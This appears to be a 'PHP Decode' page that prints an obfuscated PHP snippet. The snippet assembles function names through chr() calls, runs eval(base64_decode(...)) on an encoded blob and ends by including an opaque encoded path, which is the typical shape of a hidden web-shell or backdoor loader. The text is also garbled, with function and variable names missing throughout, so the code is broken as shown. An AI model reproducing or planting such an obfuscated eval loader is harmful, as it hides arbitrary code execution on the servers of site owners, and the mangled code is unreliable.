PHP Decode

<?php 
function (){$=chr(102).chr(117).chr(110).chr(99).chr(95).chr(110).chr(117).chr(109).'_'.'a'.'r'.chr(103).chr(115); 
 
$=chr(102).chr(117).'n'.'c'.chr(95).chr(103).chr(101).chr(116).chr(95).chr(97).chr(114).chr(103).chr(115); 
 
$='i'.chr(115).chr(95).'n'.'u'.'m'.chr(101).chr(114).chr(105).chr(99); 
 
$=chr(99).'h'.chr(114); 
 
if($()){$=$(); 
 
eval(base64_decode('JOGzgeGzl+G5kOGtseG4t+GuvOGureGvqeGxk+G1veGviOGysD0nJztmb3JlYWNoKCThspjhsaLhtLnhuJbhr5bhtYvhrqrhtpPhuLzhuqjhsKHhtIfhr7Xhu6ThspcgYXMgJOGzh+GzsOG5tOG5h+GwgOG6juG0veGxpeG7pOG3j+G1oOG0oeG4v+G6ueG3veGul+GvmuGvtuG5luGxmSl7aWYoJOG6qeG6lOGzpeG4kOGtteG6lOG6ruG8guGvq+GxueGyiOG2hOGureGuj+G4rOG7o+G1tOG8uuG6huGwguG1muGxpuG7quGzkuG8jCgk4bOH4bOw4bm04bmH4bCA4bqO4bS94bGl4buk4beP4bWg4bSh4bi/4bq54be94a6X4a+a4a+24bmW4bGZKSl7JOGzh+GzsOG5tOG5h+GwgOG6juG0veGxpeG7pOG3j+G1oOG0oeG4v+G6ueG3veGul+GvmuGvtuG5luGxmT0k4bWV4a+B4bi+4bmX4bmT4ban4bar4a+34bG24beI4by04a+j4baK4a+e4bSF4bq74biK4bWa4buy4bO24bO84bSl4bOv4bGC4beQ4bux4bWR4bW54bKD4bSc4bWi4bqBKCThs4fhs7DhubThuYfhsIDhuo7htL3hsaXhu6Tht4/htaDhtKHhuL/hurnht73hrpfhr5rhr7bhuZbhsZkpO30k4bOB4bOX4bmQ4a2x4bi34a684a6t4a+p4bGT4bW94a+I4bKwLj0k4bOH4bOw4bm04bmH4bCA4bqO4bS94bGl4buk4beP4bWg4bSh4bi/4bq54be94a6X4a+a4a+24bmW4bGZO30=')); 
 
return $; 
 
}else{return false; 
 
}}function ($){$=(115,116,114,114,'e',118); 
 
return (($($).chr(61).chr(61))); 
 
}function ($){$=(115,'t',114,'i',112,115,108,97,115,104,101,'s'); 
 
return $(($)); 
 
}function ($){$=(98,97,115,101,54,52,95,100,'e',99,111,100,101); 
 
return $($); 
 
}function ($){$=(115,116,114,114,'e',118); 
 
return (($($).chr(61))); 
 
}function ($){$=(115,116,114,105,112,115,108,97,115,'h',101,115); 
 
return $($); 
 
}?>  <?php  include ('AcoBnLphWbi9iekRXYo52I')  ?>